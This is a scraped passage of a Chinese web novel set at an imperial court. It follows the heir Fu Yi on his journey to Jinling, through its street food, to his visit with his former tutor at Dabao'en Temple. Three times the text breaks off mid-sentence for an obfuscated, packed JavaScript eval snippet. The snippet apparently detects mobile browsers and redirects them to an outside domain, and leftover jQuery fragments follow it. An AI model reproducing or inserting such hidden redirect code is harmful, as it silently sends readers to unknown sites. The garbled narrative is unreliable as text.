万一京师适逢覆亡之秋,天子守京师,太子守京都。
即便天子和朝廷不幸被一网打尽,太子依旧可在京都备用官员的辅佐下号令大琝。
是以金陵收容了不少京师仕途失意的官员,亦有因获罪被发配去孝陵种菜的。
不过先太傅云离,不属于此二者情况。
他本就是金陵人。
辞官后,也就正好回乡养老了。大部分时间便寓居在大报恩寺里,也算清闲。
就算傅谊打着看望恩师的名义,厚着脸皮前去叨扰他老人家,想来也不会被朝堂上的有心之人太过为难。
更何况傅谊本就期盼着有朝一日能出京转悠。
如今天赐良机,他又岂可错过?是以早就命人准备好了行囊,只待应天府尹择日离开京城。
犹记得先前特意翻过的一本食单,那上面记录的金陵美食还真不少。
诸如牛首山的“牛首腐干”,水西门的“挂卤鸭”,承恩的“大头菜”,以及四处可见的金陵野菜“七头一脑”……【1】
他虽平日里不怎么吃素菜,只爱种菜挖菜,不过若是偶尔勉为其难地尝一尝新鲜菜式,倒也未尝不可。
心心念念的这一日很快就到了。
临行前傅谊与陶王妃辞别,不情不愿地也向小自己八岁的庶弟傅谦道了一声,别扭地叮嘱他了几句,说是让他好好念书,勿要惹母妃生气之类的话。
傅谊其实本不喜欢这个弟弟。
只因他母妃与父王一直情深意切,却偏偏有个不长眼的侍女趁父王酒醉之时乘虚而入,这才意外有了傅谦。
不过也算傅谦命薄。
他刚出生时娘亲便难产而亡,随后父王又染病薨逝。
还是陶王妃见他自幼失怙失侍,着实可怜,遂将他纳入膝下,同傅谊一般亲自抚育着。
那时傅谊还不大懂事,况且又刚刚失去一直疼爱自己的父亲。
得知此事后,他便跑去陶王妃面前大闹一通。
甚至指着尚在襁褓中的傅谦,口不择言地说出了“尔何为生我家!”的气话。
那次是傅谊记忆中第一次,也是唯一一次见一向冷静自持的娘亲有如此大的怒气。
她当场在下人面前甩了自己一巴掌,疾言厉色地斥责他怎可说出这么不堪入耳的话。
并在众人面前放言,日后傅谦就如同她的亲生子一般,看看谁还有胆再欺负他!
事后傅谊还生生受了五板子家法,以儆效尤,自此再也不敢对着傅谦耍性子。
只是他偶尔仍会愤愤不平,气不过娘为什么会对一个庶子那么好。
如今随着年岁的增长,傅谊倒是也逐渐想开了。
自己又是何必如此呢?
大家都是没了爹的人,况且傅谦还从未从自己的亲生父母上得到过任何温情,他又何苦去继续为难傅谦?
只不过他心中尚还对傅谦的生母有所芥蒂,暂且还不能做到像母妃一般坦然地与庶弟朝夕共处。
离开了陶王府,至城门外,傅谊正欲与应天府尹会和,却意外瞧见了一辆颇为熟悉的马车停靠在一侧。
那边的车夫见状,扭头朝车内低语了几句,随后一个人撩起帘子下了车,目光灼灼地朝这望来。
傅谊定睛一瞧,原来是舅父岳渊峙,便连忙吩咐停车,赶紧蹦了下来。
“小混蛋你跑挺快啊,都要走了也不和我与你舅母打一声招呼,莫不是生辰宴上喝酒喝傻了?”
岳渊峙负着手,晃悠悠地走到傅谊面前,全然没一副礼部侍郎该有的威严样。
俗话说,外甥肖舅,这话不假。
从眉眼上来看,傅谊和岳渊峙还是较为相像的。
兴许脾性也有些相似。
“哎呀,都怪我贪杯,着实是舅母自个酿的酒太好喝了,一不小心就喝醉忘了事嘛,还好母妃没忘告诉你们。对了舅父,怎不见舅母同你一起为我送行呢?”
“玉霜在家愁着给棠棣找师傅呢,且她身份不便与地方大员有过多来往,所以我就一个人来了。说来我记得谦儿跟棠棣同岁,要不然让他俩一起学学?”
“这自然是极好的,最好把全京城最严厉的夫子找过来,这样才不负舅母的一番苦心啊!”
见傅谊一脸不怀好意的模样,岳渊峙瞥了他一眼,毫不留情地戳破了他心中的小九九:
“天下谁人不知,先太傅治学最为严谨,你陶王世子念书的时候可没少挨打。你这身上,连皮带肉一百多斤,怕不是有九十多斤都是反骨吧。”
“那倒也不是,前几日母妃罚我禁闭,特另庖房不要做点心,我这也没得偷啊。再算上先前的斋戒,我也没吃过肉,兴许还清减了不少?”
“得了得了,斋礁没吃上的,你不是照样在生辰宴上补回来了吗。哦对,南下金陵前,我还需嘱咐你几句——”
说到此处,岳渊峙压低了嗓音,语气也严肃了起来,
“你走后,玩归玩,莫要胡闹,莫要再打探京里的事,以免引火上身。京里有什么事,自有我和玉霜顶着,你也别再插手了。”
“还有切记,到金陵后须得告诉离相先生一句,他手伸得太长,已经引起旁人警觉了!”
“嗯,什么——?”
骤然听到最后一句,傅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505082|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谊一时间没反应得过来,不解其中深意。
他不由伸长了脑袋,还想再多问上几句,身后却传来一阵哒哒的马蹄声。
于是傅谊顿时闭了嘴,知道此时不是个打破砂锅问到底的好时机,毕竟应天府尹已到,有些话已不方便再说。
同时岳渊峙也止住了话头,用眼神示意傅谊不要再开口。
同时他收起了那一派不着调的样子,客客气气地与应天府尹寒暄了一阵子,后目送着两人的车队渐行渐远。
头一次出远门,傅谊自然是万分激动的。
他在马车里筹谋了半天,满心满眼都是将信件交由先生后,怎样才能不出格地在金陵好好玩一玩,吃一吃。
可金陵距离京城颇远,走水路的话需得一个多月,待傅谊的兴头过了,他又不免琢磨起舅父临走前交待自己的话了。
他觉得舅父最后那几句话里有话,意味深长。
虽说自己这个身为礼部右侍郎的舅父不太讲礼,可毕竟也算是朝中的正三品官员。
除了有皇上看在陶王妃的面子上照拂一二以外,更多的还是舅父凭借自身才学中了探花,再加以在官场上摸爬滚打了十来年才有了如今的官位。
论对于朝廷风向的把握,岳渊峙自然比傅谊灵敏得太多太多;论人情世故,岳渊峙自然又比傅谊圆滑得太多太多。
是以岳渊峙对傅谊这般示警,定已是有十足的把握,而绝不是空穴来风,故意吓唬他的。
可舅父接着又提到让先生不要将手伸得太长,适可而止,这又是何意?
傅谊思来想去,在脑中过了一番近日京中所发生的事情。
除却齐涵虚斋礁谏言,这人曾是先太傅云离的得意门生以外,他着实想不出什么别的。
莫非舅父是在向他暗示,齐涵虚一事,完全是由远在金陵的离相先生指使的吗?
但是齐涵虚本就从不写青词,被旁人拿了文章到皇上面前念,纯属巧合。
难不成,这想要提拔齐涵虚的大臣,也是先生故意为之?
傅谊越想越觉得细思极恐,摇摇头,连忙将这些念头给驱逐掉了。
先太傅云离,字离相,号何住。
“离一切相,即一切法”“云何应住,云何降服其心”,如此一听,就知道云离是个修佛之人了。【2】
况且先生后来也是因醉心于佛道,又厌恶官场的污浊,不愿再随波逐流,故而在官至太子太傅后几年,毅然辞官回了金陵,只求寻求一个解脱之法。
傅谊是深知云离脾性的。
既然先生早已决定不再趟这一淌浑水,那又怎会在多年的修身养性之后再插手朝中局势?辞官回去,岂不是多此一举?
估计事情也不是他自己想得这般,舅父所言也有可能是另有所指。
比如说那几个为齐涵虚开脱的官员,兴许就有几个也是旧日先生的门生,所以这才一起站了出来,也难怪舅父会产生误解。
那先生到底是知不知道齐涵虚的死讯?
这几个文臣究竟是打着云先生的名号,自做主张地得罪了圣上,还是先生知道了,所以借这几人去试探皇上的态度?
哎,未知全貌不予置评,所有人都让他勿要再管朝堂之事,既然都出了京城,他也懒得再去理会了。
横竖有母妃舅父舅母顶着,他只管把太子哥哥和舅父要他做的事做完就行。
说来福安哥哥也是够倒霉的,明明好心让他这个最能惹事生非的陶王世子跑了,自己却不幸被皇上责罚了。
傅谊记得太子哥哥素来事最为喜爱梅花的,金陵与京城相去甚远,要不到在路上折一枝最自然最好看的,派人快马加鞭寄到太子府。
江南无所有,聊赠一枝春。【3】
太子哥哥应当是十分欢喜的吧。
傅谊如是想着,在马车的摇晃中,逐渐进入了梦乡。
5. 第 5 章
傅谊与应天府尹走的是水路,顺由大运河,一路南下至扬州,再转去金陵。
在水滨歇息的时候,傅谊精挑细选,最终折了一枝长势甚佳的野梅。
他小心翼翼地裹在应天府尹赠与他的一块白底织金的云锦里头,遣人同他报平安的信,一起寄予了傅谙。
此梅一向只在山涧水滨的荒寒清绝之处生长,福安哥哥应是从未见过的。
傅谊很是盼着远在京里的傅谙收到这份稀奇的礼物后,甚为欣喜的模样。
应天府尹的府邸位于秦淮河外河一带,紧挨着聚宝门门东。
此处也正是乃江南商贾云集、世家大族居住之地,离先太傅云离所在的大报恩寺不远。
吃完洗尘宴,傅谊贪杯多饮了几盏金陵春,便早早离开宴席,回到客房先行歇息了。
宿醉大梦一场,醒来时还为时尚早,他却已早没了困意。
横竖睡不着觉,傅谊干脆穿戴好起身,向睡眼惺忪的下人打了声招呼,出去逛逛金陵城了。
此时夜禁刚结束,城门方开。
聚宝门前有一石拱桥,正是长干桥。
桥下秦淮湍流,桥上柳花似雪,也算别有一番景致。
傅谊踱步至河堤,蹲在岸边洗了把手,回到桥边的时候看见路上出现了几名老妪,正推着小车卖早点。
五更天,四方黑,三两行人,唯一炉小火熠熠燃之。
傅谊好奇地凑上前去一阵打听,方才得知这里头卖的原来是蒸儿糕。
付了两枚铜板后,他就杵在一边看老妪怎么做。
这制作之法,看起来也不甚复杂。
蚌壳贝,薄而轻,轻舀米粉,以黑芝麻糖填之,刮擦抹平,复盖米粉一层,抹尽上炉。
而后扣盖再转,旋以压之,倒扣,静置,一团热气腾腾的蒸儿糕即可出锅。
观其色,白而嫩,宛若白云拥簇,朔雪覆地;闻其香,米粉清爽,浓郁不散;尝其味,芝麻甜脆,糕团绵柔,软糯不失嚼劲。
凭借着多年尝糕点养出来的挑剔胃,他很快便下了定论:
此糕是由糯米粉所制,当以即食为佳。久置易变冷发硬,有损口感。
只可惜蒸儿糕太小,不抵饱。
傅谊三两口吃完,仍觉得饥肠辘辘,便又跑到临边的铺子里买了个鸭油酥烧饼。
只随便就着一碗柴火馄饨,里面加了点鸭血,边啃边喝。
那小馄饨一个个就跟灯笼似的,飘在高汤上,鼓鼓囊囊。
皮薄肉紧,又有虾皮、榨菜末、蛋皮游走于其间,再浇上一勺辣油,味道确实是妙极。
而鸭油酥烧饼更是合傅谊的口味。
是咸口的,皮黄壳脆,内软馅酥,“嘎吱”咬上一口,洒着芝麻的脆皮碎屑便扑簌着往下掉。
初时傅谊还顾及着身份,左手端庄斯文地捧着,右手指头则一点一点小心捏着送进嘴里。
后来逐渐乏了,干脆就直接大大咧咧地往嘴里一倒,咂巴几下,嘬着吃完了。
慢悠悠地吃完了早点,傅谊心满意足,听得远处传来一阵阵撞钟声。
他闻声望去,只见一座流光四溢的琉璃塔颇为惹眼,竟就是傅谊要去寻的大报恩寺。
择日不如撞日,傅谊想了想,便迈步朝那里走去。
傅谊刚至山门,恰有小僧在扫地,就向他打听了一番离相先生住在何处。
小沙弥先是没反应过来,说不知有此人。
直至傅谊想起来先生的号,小和尚才如梦初醒,赶紧吩咐人告知先生,而后领着傅谊直接去往先生居住的正堂。
“檀越这边请,何住先生便是住在此处。”
“好,多谢,有劳你了。”
小沙弥走后,傅谊朝禅堂那望了望。
门口有处对联,一看就出自先生的手笔,苍劲有力:
此是选佛堂,心空即第归。【2】
屋内,云离得知他的到来后,便已在禅堂里候着。
还设了座,正背对着他煮茶。
望着旧日先生的背影,傅谊忽然不知道该如何开口。
先生之于他,如师如父。
傅谊尚未学会走路时,云离便已是东宫师傅,教授他与傅谙二人。
后来陶王不幸病逝,为了让傅谊能走出丧父之痛,云离也为之付出了不少心血。
所以纵算先生教书时很是严厉,傅谊也是愿意听他话的。
然而如今先生也算半只脚踏入了空门,也不知是否还会认自己……
傅谊踌躇了一会,好不容易鼓起了勇气正欲开口,没想到云离却扭过头,率先出声了:
“怎的一直愣在门口,难道是老夫这茶还不够好,入不得向来挑剔的陶王世子眼吗?”
“不是不是,着实是我太想先生了,这不一见到您,就忍不住感怀伤时一下嘛。”
听先生这么一说,傅谊倍感亲切。
先生还是从前那个先生,一点都没变,原是他多虑了。
他本以为先生这么多年来在寺庙里清修,怕不要断情绝欲,不认他这个没啥本事的学生呢。
“惯会贫嘴,几年来毫无长进。小时候不是一直嚷嚷着以后要像你舅母一样做个大将军,怎么现在连庙里的一个门槛也不敢跨了?想来不是在感怀伤时,而是在担心老夫会不会提个戒尺诘问你,怎么偷偷地从京城跑到这来的吧?”
云离从火炉上取下茶壶,水刚烧开,正从壶嘴处冒着白气,氤氲了他的面庞。
“你怎就一人过来了?京中最近可不太平啊,谊儿没和太子殿下在一起吗?”
“回先生,是太子哥哥让我来的,这一路上也有应天府尹照顾,倒也无事。而太子殿下又一直挂怀着您,故而特命我过来看望看望先生。”
“原来如此,你倒是个机灵的,一见事态不对劲,马上溜出来了。也好,你就在这避一避吧,省得你个不省心的被卷进朝堂那堆漩涡里,乱上添乱。”
“而我膝下犬子与你年岁相仿,只大你个四岁,之后便让他带着你去玩吧。”
“多谢先生,只是太子哥哥还吩咐我一事,需向您转告——”
傅谊迟疑了。
他袖中攥着那几封信件,犹豫着是不是该在此时拿出来。
先生既已经知晓朝局混乱,可却仍然如此悠闲地泡茶,那他是否知道齐涵虚的死讯?
如若是不知,那自己这么一说,岂不是扫了先生的兴致……
“有话直说,再不喝茶快冷了。既然世子殿下不愿意喝的话,那老夫往后也不必再为殿下奉上一杯好茶,简直暴殄天物。”
傅谊抬眼,迎着先生不冷不淡的目光,只好先道声谢。
他接过茶杯,最终心下一横,直接掏出信,恭敬呈给云离,便火速垂下了脑袋。
傅谊心不在焉都喝着茶,一边担忧地偷偷观察着云离的反应。
以至于连这茶是什么味儿他都没品出来。
只是云离阅完,并不如傅谊所想得那般痛心疾首。
他只淡淡道了声“知道了,我会为涵虚点上一盏长命灯供奉着”,随后轻轻将信纸折好收入怀中,端起茶壶也为自己泡了一盏,并未再说什么。
这下傅谊是丈二和尚摸不着头脑。
原先备了一肚子的安慰话语全用不着了。
见先生反应如此平淡,他复又仔细打量了一下先生的脸色,这才小心翼翼开了口:
“先生这反应,是早已经知晓此事了吗……?”
“是,早几年老夫辞官离京的时候就已经知晓了。涵虚秉性一惯如此,我早就料到他会有此结局,只是没想到,这日子会来得这般快——”
云离长叹了一声,轻呷了一口还冒着热气的茶水,又沉默不语。
“可先生,先生——齐学士毕竟也是您曾经的学生啊,您难道就如此反应吗?”
“哦,那谊儿倒是来说说,你觉得老夫如今该怎么做?是马上嚎啕大哭一场,还是即刻赶去京城,为齐涵虚伸冤?”
纵算面对傅谊有些失了礼数的质问,云离的语气依然并无太大起伏,这让傅谊更加不解,迷惘困惑。
他本以为先生就算不指责一顿皇上的所作所为,也要为自己的学生伤心一阵子吧。
可先生竟冷心至此,从前的太傅可从来不是这样的啊!
难不成真是修佛修心修成这样的?
他原是不信多年前京中那个传言,说是太子太傅醉心于佛道,忽视妻儿太久,以至妻子病逝,幼子无人照看,只得放在寺庙里养着……
可云离毕竟还是他曾经的先生,他做太子伴读的那些年,先生也没少为自己操过心。
纵算自己那时顽皮,时常惹得先生严厉斥责,甚至持戒尺惩罚自己。
可在他心中,仍然对先生的学识与为人很是敬仰,也不知先生为何会变成如今这副模样。
傅谊意识到方才他的语气太冲,已经很冒犯了。
于情于理,他都不该用这副态度与先生说话,便只得强压下心头的不满,耐着性子为云离解释:
“先生怕是不知,齐涵虚正是因指责斋礁祈福一事而触怒圣上,您若是执意要为他点上一盏长明灯为其祈福,想必不妥吧……”
傅谊斟酌着措辞,好不容易将斋礁那日的前因后果简要概括了一下。
说完那么一大段,不由得觉得有些口渴。
他端起茶盏准备润润嗓子,未想茶水已经凉了。
可对面坐着的先生依旧未作任何表示,手中握着茶盏,也不继续品茗,只静静地听着,未曾打断过他。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505083|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过了良久,云离才缓缓喝了口茶,轻声说道:
“这案子皇上已有定夺,纵算谊儿你再怎么不满,那也无济于事。更何况齐涵虚一生所求便是如此,你也不必为他太过难过。”
“世人追名逐利乃是本性,这无可厚非。而他齐涵虚身为翰林院侍读学士,既已拜了官,就亦不能免俗,只不过他所逐的那份名利,便是为国效力罢了。我叹其名心难化,坚固如佛家舍利,劫火猛烈,犹烧之不失也。”【3】
“舍利子,劫火猛烈,犹烧之不失也吗……”
“谊儿可知《法华经》?《法华经》有言,三界无安,犹如火宅……常有生老病死忧患,如是等火,炽然不息。”
“?”
不顾傅谊困惑的神情,云离自顾自地说下去了,也不知究竟在说什么,
“三界如火宅,众生行坐其中而不觉知。而我们在这五浊八苦欲望恒生的三界里,心中自是无法安定。所以近来我愈发觉得《金刚经》之玄妙无比,非凡品所能企及,着实是有大智慧啊。”
“什么大智慧?还请先生赐教。”
“你多读读便知晓了。”
云离一边絮叨着,一边起身去案几上拾起一本经书,翻开览读。
只是似乎一不小心触到窗台上什么东西,发出了轻微的声响。
云离只淡淡一瞥,便不再理睬,复又重新坐回到傅谊面前。
傅谊歪着脑袋看向那蓝色封皮。
上面写有几个大字“金刚般若波罗蜜经”,应当就是先生所说的《金刚经》。
他瞧了瞧先生的神态,正欲发话,但云离又不紧不慢地接着谈论起佛经:
“你若是仍在为齐涵虚之死而悲伤,大可仔细研读一下这经中的偈子《云何梵》,或许能从中悟到解脱之法。”
“云何得长寿,金刚不坏身。复以何因缘,得大坚固力。云何于此经,究竟到彼岸。愿佛开微密,广为众生说。”
说罢,云离合上了眼眸,长叹一口气,有些倦了。
傅谊呆了半天,愣是一个字都没听懂。
这云离先生讲话,还真是云里雾里!
这点和从前一样,一点没变,天天净说些他听都听不明白的话。
真不怪他做太子伴读的时候没认真听课啊!
二人沉默良久,终是傅谊打破了沉默,发出了一句由衷的感叹:
“先生此言有理,是学生受教了。只可惜恕学生愚笨,多年来没有丝毫长进。幼时不解先生讲的课,总觉得先生手里是本天书,听着怪费神的。现如今听您为我讲解佛经,如此一瞧,先生确实是在念天书了,也不怪我听不懂。”
“天书?从西天取来的经书,你说是天书也没错了。”
傅谊这话说得颇为有趣,惹得云离忍不住抬眼一笑,心中对这个不成器的小徒弟充满了无奈。
“罢了,一直把你这小泼猴拘在这,想必你也不自在。只可惜犬子前不久刚出了寺去采买物品,不然我就让他带着你转转了。要不这样,云卷、云舒——”
他话音刚落,便有两少年从屋外进入。
两人不是沙弥,也没剃头发,可还是向云离与傅谊双手合十行了个礼,不由引起傅谊侧目。
“你们先招待着世子殿下吧,老夫还有些经书需要抄写,就不扰了你们年轻人的兴致。”
“是,先生——世子殿下,还请跟我们来。”
先生明显这是要送客了,傅谊只得谊跨过门槛,准备出门。
他停顿片刻,却回过头来,望了望门上的对联,又望了望先生,终是下定决心,轻声说着:
“先生千万保重身体,莫要太过悲伤了,您手中的那本《金刚经》——拿反了。”
话刚说完,就“噌”地一声跑远了。
他不敢看先生的脸色,只顾赶紧往前跑,也不管门口云卷云舒二人错愕的目光。
在云离眼神的示意下,云卷云舒也连忙跟着去了,生怕小世子跑太远,一不小心迷了路出不来。
云离看了看手中的经书,想起方才傅谊那副欲言又止的神情,终是忍俊不禁。
他将这本《金刚经》调转了个方向,翻开一页,轻轻地摩挲着页脚处的一列小楷:
摇落深知宋玉悲,风流儒雅亦吾师,学生齐涵虚手自笔录。【4】
也不知过了多久,他才抬起头来,对着窗台那处低声发了话:
“这人你见过了,热闹也看够了吧?梵奴,还不出来?”
”是,父亲。”
只见那人缓缓撩起垂在身侧的柳枝,悠悠地从树林中走出,衣摆拂过草丛,不由带出簌簌几分声响。
“儿还要多谢父亲,方才没有拆穿我在此偷听的事了。这陶王世子,可当真是极有意思啊。”
6. 第 6 章
也不知瞎跑了多远,待傅谊回过神停下步伐时,这才发现自己在不知不觉好像跑到后山来了。
所幸先生身边的那两位云卷、云舒也跟了过来,他倒也不用烦恼之后该怎么回去。
“世子殿下跑得真可快啊,这速度,怕是一些酒楼里的跑堂都比不上您!”
其中一人率先向傅谊搭话道。
他面色温和,很容易让人心生好感,看着倒像是个好相处的。
“熟能生巧罢了,不值一提。”
傅谊连忙摆了摆手。
他闭起双眼,头微微向旁歪去,一副十分谦逊的模样,可脸上那弯弯翘起的嘴角却出卖了他的心情。
“云舒,勿要胡说八道。世子殿下身份尊贵,你怎可将跑堂的小厮与之比较?”
另一人不由皱眉。
此人名唤云卷,身形较高,面容周正,通身一派正气,一看就是严谨认真之人。
他正要再指责几句弟弟的无礼之处,不料陶王世子却蹦蹦跳跳地朝着他们凑近了些。
云卷只得暂且闭嘴,弯下身子,等着傅谊的指令。
傅谊握拳,装模作样地轻咳了几声,方欲发话。
可待他思索了一阵后,发现自己初来乍到,哪里也不认识,最终还是诚恳地说道:
“要不就这报恩寺里先转转吧?反正我也没来过这,还请你们这些做东道主的带着我游览一番吧。”
“是。”
云卷云舒本是要带着傅谊离开此处。
此处是后山,除了一些杂草,旁的没有什么。
途径一片草地,傅谊却是停下了脚步,指着一处,好奇发问:
“诶,这就是你们金陵的特产,菊花脑吗?”
云舒回头一看,乐了,为他解释道:
“嗯,确实如此,夏季食之,有清热解毒之效。世子殿下真是见多识广,连本地野菜您都认得!”
“那是自然。”
傅谊点头附和着,却是挪不动步了,只盯着这片菊花脑,一直使劲看。
他盯得时间太长,连云舒嘴角的笑容都不免收敛了几分,不明所以。
“所以说,这菊花脑是可以挖出来吃的吗?可有什么做法?”
“吃自然是能吃的。每至暮春,寺里的僧人都会来后山挖野菜,做做什锦菜、包子饺子什么的,味道都很不错。”
“有时候人手不够,我们还会请别的寺里面人来搭把手,顺便一起研讨研讨佛经。不过现已快入夏,菊花脑还是同鸡蛋一道煮汤更为合适。”
云卷回着话,同样也是丈二的和尚摸不着头脑。
可云舒却是发现傅谊的眼睛可谓是越听越亮,便连忙接上几句:
“当然,菊花脑蛋汤还是和卤鸭肝一起泡着吃才香!”
“世子殿下,教您一种吃法,去烤鸭店斩只烤鸭的时候,可千万别忘了捎几块卤鸭肝。到时候把您它捣碎了拌饭里,浇上一勺烤鸭卤子,最后泡在菊花脑蛋汤里,盛上个满满一碗,那味道,啧啧!”
“好,很可以,今晚我就要吃这个!所以你们有小铲子吗?”
“世子殿下要铲子作甚?”
“挖野菜,带回去吃啊。”
“?”
陶王世子有令,二人不得不从,尽管他们不知所以然。
云卷跑去柴房拿了三把铲子,还很贴心地拿了一个大篓子来。
谁知傅谊倒是坚持己见,说自己亲手挖出来的野菜别有一番重要意义,执意要云卷带着他再去拿个小篮子,要把自己摘的给分出来。
最终还是云舒认了命,摘了自己头顶戴的四方平定巾,让傅谊到时候回去把菜装这里边,就别再折腾一趟了。
在云卷云舒的教导下,傅谊熟练地掌握了用手掐菊花脑茎捎的技能,小铲子倒是没派上用场。
但傅谊觉得拿都拿了,还是得用用,便一边挖着菜,一边和云卷云舒聊天。
云卷到底是顾及傅谊的世子身份,傅谊问一句,他才谨慎地答一句,怪没意思的。
还是云舒活泼些,和傅谊唠嗑了不少家长里短,引得傅谊啧啧称奇。
从云舒口中傅谊方才得知,此二人是云离辞了官之后,回金陵收留的两个孤儿,如今偶尔也帮着为先生和云梵做做事。
难怪他在京城的时候从未听先太傅提起过他们。
比如说,先生和云梵寄给京城的信,基本就是云卷跑腿的。
而云舒则负责打理二人的身边事。
因云离和云梵都只是常年在寺庙里清修,晚上偶尔回长干里的住所歇息。那么他与兄长也只需在寺里的时候依着佛门的规矩,出了大报恩寺,自然是可以食荤腥的。
今日云舒本是要去城里找人补修破损的钵盂。
恰好云梵公子要出寺采买物品,就由他带着那些钵出去了,倒让云舒落了个清闲。
“这么说,你也是认识林凡安林老板的?”
傅谊小心地铲了几下地,将一株菊花脑连根拔起来,抖抖土,很是满意这次的成果。
有过前几次失败的经历,这次他特意十分谨慎地避开了根部,终于得到了一株完整的菊花脑。
他望了望云舒那几乎快要满了的四方平定巾,觉得把人家的头巾沾上了泥也不太好,于是便将那株菊花脑放在最上端,总算心满意足,拍拍手,准备走了。
云舒见状,便熟练地将系带捆起来,回答道:
“是嘞,我先前也跑了不少林老板的铺子,还买了他家不少东西。”
“那你可有曾见过林老板?”
傅谊示意云舒将头巾拿过来,自己又在末端打了个结,挂在臂弯上,继续发问。
“不曾,说来也怪,云老板虽是我们江南一代鼎鼎有名的富商,做生意有两把刷子,蛮厉害的。可他却从不愿轻易露面,只说若是有缘,他自会与客人见上一面。”
“啧,又不是什么黄花大姑娘,怎么这么见不得人呢。”
傅谊咂咂嘴,表示很不屑。
云舒倒是被逗得“扑哧”一声笑了出来,不急不慢地为傅谊解释着,
“世子殿下这话说得甚是有趣,只是林老板这怪癖,我们这些旁人也不清楚他到底在想什么。要不待会回去后,殿下不妨去问问我们大哥?”
“这林老板笃信佛教,而我家公子恰巧对佛理颇为精通,所以他是为数不多能见到林老板的人之一,世子殿下以为如何?”
“善。那我待便去会一会他。”
傅谊颔首以示赞同。
正好他也想知道,那个动不动就给太子哥哥上眼药的人,究竟是何方神圣。
当然,剩下的他不方便说出口,只得腹诽几句。
报恩寺里有规定,过午不食,所以云卷云舒得赶着带傅谊回去吃饭,以免过了时辰饿肚子。
傅谊倒是悠闲,一手拎着野菜,一手拿着那株有完整根的菊花脑四处晃晃,好不快活。
他想了想,还是将这唯一一株特别的菊花脑里给挑出来。
他就担心路上一晃悠,把这颠到下面去,损了根可就不好了。
他还想试试这菊花脑单独种在别处能不能活。
他们去斋房的时候,离相先生不在,也无别的僧人在此用餐。
只有一人站在窗边,一手持钵,正对着阳光仔细瞧着。
云舒一见,乐了,与云卷同时向那人喊道“大哥”。
那人闻声,扭头望向他们,峨冠博带,广袖垂身。
风一吹,那跟画一般的人顿时活了起来,连带着在傅谊心中也浓墨重彩地涂抹了几笔,其面容逐渐变得清晰明朗。
鬓若刀裁,眉如墨痕,眼似点漆,钩画了了。
傅谊望了眼,顿时愣了神,有心怀疑这人是不是偷看过自家的琉璃佛像,所以才生成这副模样。
其父陶王好珍宝,藏有一琉璃佛像,甚是贵重,从不肯示之众人。
也就顽皮如傅谊,趁着陶王不在,曾偷偷地扒拉出来观望过一番,大为惊叹。
眼前这人,温润得就像他家中供奉那尊琉璃佛像。
一双眼剔透明亮,眼波流转间,像把透进去的阳光给揉碎了,带着些暖意,温温和和地洒在傅谊身上。
濯濯如春月柳,轩轩如朝霞举。【1】
“哦?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505084|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原来这便是陶王世子殿下,幸会。”
那人笑眯眯地对着傅谊,目光却是不动声色地打量了一下傅谊左边臂弯处,那本该裹在云舒头上的四方平定巾,和傅谊右手举着的菊花脑。
菊花脑的根上还带着些泥土,应是才挖出来不久,可鲜嫩,可水灵。
他的目光不由顿了顿,复又落回到傅谊脸上,面上仍是一副波澜不惊。
可傅谊却没搭理他,还在绞尽脑汁地思考着面前之人究竟和自家的琉璃佛像有几分相像。
此人气态非凡,实非寻常人所能有,傅谊方才只顾着看了,完全忘了方才旁边那二人在说什么。
忽地福至心灵,又见此人举着个钵,他恍然大悟,噌噌跑了过去,把那株自己格外珍惜的菊花脑放进了钵里。
云梵依旧是微笑着接过,眉毛一挑,目光里却是有几分奇异之色。
随后他的疑惑便得到了解答。
因为陶王小世子正眼巴巴地望着他,诚心发问:
“这够吗?要是不够,我去把后山都给挖秃?”
“……?”
“这株菊花脑,可是檀越布施于我的?“
云梵不解,对着钵里的菊花脑又是仔仔细细地端详了一番。
他倒是从未见过见过有人这么择菊花脑。
金陵人吃菊花脑,只吃叶子不吃旁的部位。
而这根须还完完整整地留着,相必就是眼前这位小世子亲自挖出来的。
要不然,他也不会这么高兴地捏在手里,一扬一摆地蹦了回来吧。
“是了,我见法师肥白,便即心生爱恋。”
不知怎的,电光火石之间,傅谊脑中冒出了一句曾经在变文里见过的话,脱口而出。
殊不知旁边的云卷云舒已被震得愣了神。
“变文?可是敦煌变文集卷六,第七篇庐山远公话?”
“对对对,就是这篇!”
傅谊高兴地抚掌大笑,对此人愈加有好感。
云梵抿嘴浅笑,丝毫不觉得有被傅谊这话给冒犯到。
小世子兴许不太记得这句话后面跟着什么了,而他自幼便熟读百般典籍,说是有过目不忘的本事也不为过。
来入寺中听法,见法师肥白,便即心生爱恋,即被缠缚;既有缠缚,即有安想;既有安想,即有无明;既有无明,即有烦恼;既有烦恼,即有沉沦;既有沉沦,即有地狱。
但云梵对此并不以为然。
